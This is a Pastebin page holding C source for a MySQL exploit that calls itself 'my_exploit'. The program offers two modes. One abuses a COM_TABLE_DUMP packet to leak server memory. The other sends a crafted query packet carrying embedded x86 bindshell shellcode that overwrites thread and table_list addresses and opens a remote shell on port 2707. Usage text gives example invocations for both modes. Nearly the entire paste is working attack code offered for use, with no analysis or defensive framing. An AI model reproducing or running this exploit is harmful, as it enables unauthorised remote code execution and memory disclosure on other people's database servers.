API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Sep 25th, 2017
101
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.62 KB | None | 0 0
raw download clone embed print report
  1. #include <stdio.h>
  2. #include <mysql.h>
  3. #include <unistd.h>
  4.  
  5.  
  6.  
  7. // we need to know the thread struct address pointer and the table_list.
  8. // these are defaults, change them from command line.
  9. int thd = 0x8b1b338;
  10. int tbl = 0x8b3a880;
  11.  
  12. #define USOCK2 "/tmp/mysql.sock"
  13.  
  14. char addr_tdh[4];
  15. char addr_tbl[4];
  16. char addr_ret[4];
  17.  
  18. // constants to overwrite packet with addresses for table_list thread and our shell.
  19. #define TBL_POS 182
  20. #define THD_POS 178
  21. #define RET_POS 174
  22. #define SHL_POS 34
  23.  
  24. // bindshell spawns a shell with on port 2707
  25. char shcode[] = {
  26. 0x6a, 0x66, 0x58, 0x6a, 0x01, 0x5b, 0x99, 0x52, 0x53, 0x6a, 0x02, 0x89 // 12
  27. ,0xe1, 0xcd, 0x80, 0x52, 0x43, 0x68, 0xff, 0x02, 0x0a, 0x93, 0x89, 0xe1
  28. ,0x6a, 0x10, 0x51, 0x50, 0x89, 0xe1, 0x89, 0xc6, 0xb0, 0x66, 0xcd, 0x80
  29. ,0x43, 0x43, 0xb0, 0x66, 0xcd, 0x80, 0x52, 0x56, 0x89, 0xe1, 0x43, 0xb0
  30. ,0x66, 0xcd, 0x80, 0x89, 0xd9, 0x89, 0xc3, 0xb0, 0x3f, 0x49, 0xcd, 0x80
  31. ,0x41, 0xe2, 0xf8, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f
  32. ,0x62, 0x69, 0x89, 0xe3, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80 // 12*7= 84
  33. };
  34.  
  35. int tmp_idx = 0;
  36.  
  37. int dump_packet_len = 7;
  38. char table_dump_packet[] = { 0x03, 0x00, 0x00, 0x00, 0x13, 0x02, 0x73 };
  39.  
  40. int payload_len = 371;
  41. // header packet + select '1234567890...etc'
  42. char query_payload[] = {
  43. 0x6f, 0x01, 0x00, 0x00, 0x03, 0x73, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x27, 0x31, 0x32, 0x33 // 16 Some junk from position 6 ...
  44. , 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x31, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36 // 32
  45. , 0x37, 0x38, 0x39, 0x30, 0x5f, 0x32, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39 // 48
  46. , 0x30, 0x5f, 0x33, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x34 // 64
  47. , 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x35, 0x5f, 0x31, 0x32 // 72
  48. , 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x36, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35 // 88
  49. , 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x37, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38 // 94
  50. , 0x39, 0x30, 0x5f, 0x38, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x6a // 112
  51. , 0x0b, 0x58, 0x99, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62, 0x69, 0x89, 0xe3 // 128 endsh 118
  52. , 0x52, 0x53, 0x89, 0xe1, 0xcd, 0x80, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4c, 0x4d // 144
  53. , 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x5a, 0x5f, 0x61, 0x61, 0x62, 0x62, 0x63 // 160
  54. , 0x63, 0x64, 0x64, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0x6c, 0xbf, 0x6d // 176
  55. , 0x6d, 0x6e, 0x6e, 0xff, 0x6f, 0x70, 0x70, 0x71, 0x71, 0x72, 0x72, 0x73, 0x73, 0x74, 0x74, 0x75 // 192 178
  56. , 0x75, 0x76, 0x76, 0x7a, 0x7a, 0x5f, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 208
  57. , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 224
  58. , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 240
  59. , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 256
  60. , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 272
  61. , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 288
  62. , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //
  63. , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //
  64. , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //
  65. , 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //
  66. , 0x3d, 0x3d, 0x27
  67. }; // 16*23+3 = 371
  68.  
  69.  
  70.  
  71.  
  72. static int s = 0, c = 0;
  73. int fd = 0;
  74. int d = 1;
  75. int hexdump = 0;
  76. char buf[65535];
  77.  
  78.  
  79. MYSQL *conn; /* pointer to connection handler */
  80.  
  81.  
  82. int
  83. sendit (char *buf1, int fdest, int dblen)
  84. {
  85. int len1;
  86. int i = 0;
  87. int ret = 0;
  88. printf ("%d\n", d);
  89. if (d == 2)
  90. {
  91. // let's prepare the query packet
  92. int o;
  93. int position = 14;
  94.  
  95. tmp_idx = 3;
  96.  
  97.  
  98. int ret = tbl - 0x106 + 33;
  99.  
  100. for (i = 0; i < 32; i += 8)
  101. addr_ret[tmp_idx--] = (ret >> i) & 0xff;
  102.  
  103. tmp_idx = 3;
  104. for (i = 0; i < 32; i += 8)
  105. addr_tdh[tmp_idx--] = (thd >> i) & 0xff;
  106.  
  107. tmp_idx = 3;
  108. for (i = 0; i < 32; i += 8)
  109. addr_tbl[tmp_idx--] = (tbl >> i) & 0xff;
  110. printf ("ret %x\n", ret);
  111.  
  112.  
  113. #if 1
  114. tmp_idx = 0;
  115. for (o = THD_POS; o > THD_POS - 4; o--)
  116. query_payload[o] = addr_tdh[tmp_idx++];
  117.  
  118. tmp_idx = 0;
  119. for (o = TBL_POS; o > TBL_POS - 4; o--)
  120. query_payload[o] = addr_tbl[tmp_idx++];
  121.  
  122. tmp_idx = 0;
  123. for (o = RET_POS; o > RET_POS - 4; o--)
  124. query_payload[o] = addr_ret[tmp_idx++];
  125. #else
  126. for (; position < payload_len - 12; position += 12)
  127. {
  128. tmp_idx = 0;
  129. printf ("p:%d\n", position);
  130. for (o = position + 4; o > position; o--)
  131. query_payload[o] = addr_ret[tmp_idx++];
  132.  
  133. tmp_idx = 0;
  134. for (o = position + 8; o > position + 4; o--)
  135. query_payload[o] = addr_tdh[tmp_idx++];
  136.  
  137. tmp_idx = 0;
  138. for (o = position + 12; o > position + 8; o--)
  139. query_payload[o] = addr_tbl[tmp_idx++];
  140.  
  141. }
  142.  
  143. #endif
  144.  
  145. tmp_idx = 0;
  146. for (o = SHL_POS; o < SHL_POS + 84; o++)
  147. query_payload[o] = shcode[tmp_idx++];
  148.  
  149. printf ("entro\n");
  150. buf1 = query_payload;
  151. len1 = payload_len;
  152. }
  153. else if (d >= 3)
  154. {
  155. printf ("entro\n");
  156.  
  157. // prepare table_dump request - PACK_LEN, 0x00, 0x00, 0x00, COM_TABLE_DUMP (0x13), DB_NAME_LEN (2) , RANDOM_CHAR (=0x73)
  158. buf1 = table_dump_packet;
  159. if (dblen >= 0)
  160. buf1[5] = (char) dblen;
  161. printf ("%x", (char) dblen);
  162. len1 = dump_packet_len;
  163. }
  164. d++;
  165.  
  166. printf ("\nClient -> Server\n");
  167. if (hexdump)
  168. {
  169. for (i = 0; i < len1; i++)
  170. printf (" %.2x%c", (unsigned char) buf1[i],
  171. ((i + 1) % 16 ? ' ' : '\n'));
  172. printf ("\n");
  173. for (i = 0; i < len1; i++)
  174. {
  175. unsigned char f = (unsigned char) buf1[i];
  176. printf (" %.2c%2c", (isprint (f) ? f : '.'),
  177. (((i + 1) % 16) ? ' ' : '\n'));
  178. }
  179. }
  180. if (send (fd, buf1, len1, 0) != len1)
  181. {
  182. perror ("cli: send(buf3)");
  183. exit (1);
  184. }
  185.  
  186.  
  187.  
  188. fdest = fd;
  189.  
  190. memset (buf, 0, 65535);
  191. ret = recv (fdest, buf, 65535, 0);
  192. printf ("\nServer -> Client\n");
  193. if (hexdump)
  194. {
  195. for (i = 0; i < ret; i++)
  196. printf (" %.2x%c", (unsigned char) buf[i],
  197. ((i + 1) % 16 ? ' ' : '\n'));
  198. printf ("\n");
  199. for (i = 0; i < ret; i++)
  200. {
  201. unsigned char f = (unsigned char) buf[i];
  202. printf (" %.2c%2c", (isprint (f) ? f : '.'),
  203. ((i + 1) % 16 ? ' ' : '\n'));
  204. }
  205. }
  206. else
  207. {
  208. printf ("\n%s\n", buf + 5);
  209. }
  210. // printf("\nSending to client\n");
  211. // ret= send(c, buf, ret, 0);
  212.  
  213. return 0;
  214. }
  215.  
  216. usage ()
  217. {
  218. printf
  219. ("\nusage my_exploit [-H] [-i] [-t 0xtable-address] [-a 0xthread-address] [[-s socket]|[-h host][-p port]][-x]\n\n\
  220. -H: this Help;\n\
  221. -i: Information leak exploit (shows the content of MySql Server Memory)\n\
  222. -x: shows c/s communication output in hexadecimal\n\
  223. -t: hexadecimal table_list struct address (by default we try to find it automatically)\n\
  224. -a: hexadecimal thread struct address (look at the error log to see something like: thd=0x8b1b338)\n\
  225. -u: mysql username (anonymous too ;)\n\
  226. -p: mysql userpass (if you need it)\n\
  227. -s: the socket path if is a unix socket\n\
  228. -h: hostname or IP address\n\
  229. -P: port (default 3306)\n\n\nExample_1 - Memoryleak: my_exploit -h 127.0.0.1 -u username -i\n\n\
  230. Example_2 - Remote Shell on port 2707: my_exploit -h 127.0.0.1 -u username -a 0x8b1b338 -t 0x8b3a880\n\n\
  231. ");
  232.  
  233. }
  234.  
  235. int
  236. main (int argc, char *argv[])
  237. {
  238.  
  239. int fdest = 0;
  240. int port = 3306;
  241. int shell = 1;
  242. int force_table = 0;
  243. char buf1[65535];
  244. char *socket;
  245. char *user = NULL;
  246. char *pass = NULL;
  247. char *host = NULL;
  248. socket = strdup ("/tmp/mysql2.sock");
  249. opterr = 0;
  250.  
  251. while ((c = getopt (argc, argv, "s:t:a:P:Hh:u:p:ix")) != -1)
  252. switch (c)
  253. {
  254. case 's':
  255. socket = (char *) optarg;
  256. break;
  257. case 't':
  258. force_table = 1;
  259. tbl = (int) strtol (optarg, NULL, 16);
  260. //tbl=atoi( optarg );
  261. break;
  262. case 'a':
  263. thd = (int) strtol (optarg, NULL, 16);
  264. break;
  265. case 'u':
  266. user = (char *) optarg;
  267. break;
  268. case 'p':
  269. pass = (char *) optarg;
  270. break;
  271. case 'P':
  272. port = atoi (optarg);
  273. break;
  274. case 'h':
  275. host = (char *) optarg;
  276. break;
  277. case 'i':
  278. shell = 0;
  279. break;
  280. case 'x':
  281. hexdump = 1;
  282. break;
  283. case 'H':
  284. usage ();
  285. return 1;
  286. default:
  287. break;
  288. }
  289.  
  290. if (!force_table)
  291. tbl = thd + 0x1f548;
  292. conn = mysql_init (NULL);
  293. int ret = mysql_real_connect (conn, /* pointer to connection handler */
  294. host, /* host to connect to */
  295. user, /* user name */
  296. pass, /* password */
  297. NULL, /* database to use */
  298. 0, /* port (use default) */
  299. socket, /* socket (use default) */
  300. 0); /* flags (none) */
  301.  
  302. if (!ret)
  303. {
  304. fprintf (stderr, "Can't connect, error : %s\n", mysql_error (conn));
  305. return 1;
  306. }
  307. printf ("using table_list:%x thread:%x\n", tbl, thd);
  308.  
  309. fd = conn->net.fd;
  310.  
  311. if (shell)
  312. {
  313. d = 2;
  314. sendit (buf1, fdest, -1);
  315. d = 3;
  316. sendit (buf1, fdest, -1);
  317. d = 3;
  318. sendit (buf1, fdest, -1);
  319. }
  320. else
  321. {
  322. int l;
  323. d = 3;
  324. for (l = 0; l < 256; l++)
  325. {
  326. sendit (buf1, fdest, l);
  327. }
  328. }
  329. mysql_close (conn);
  330.  
  331. exit (0);
  332. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!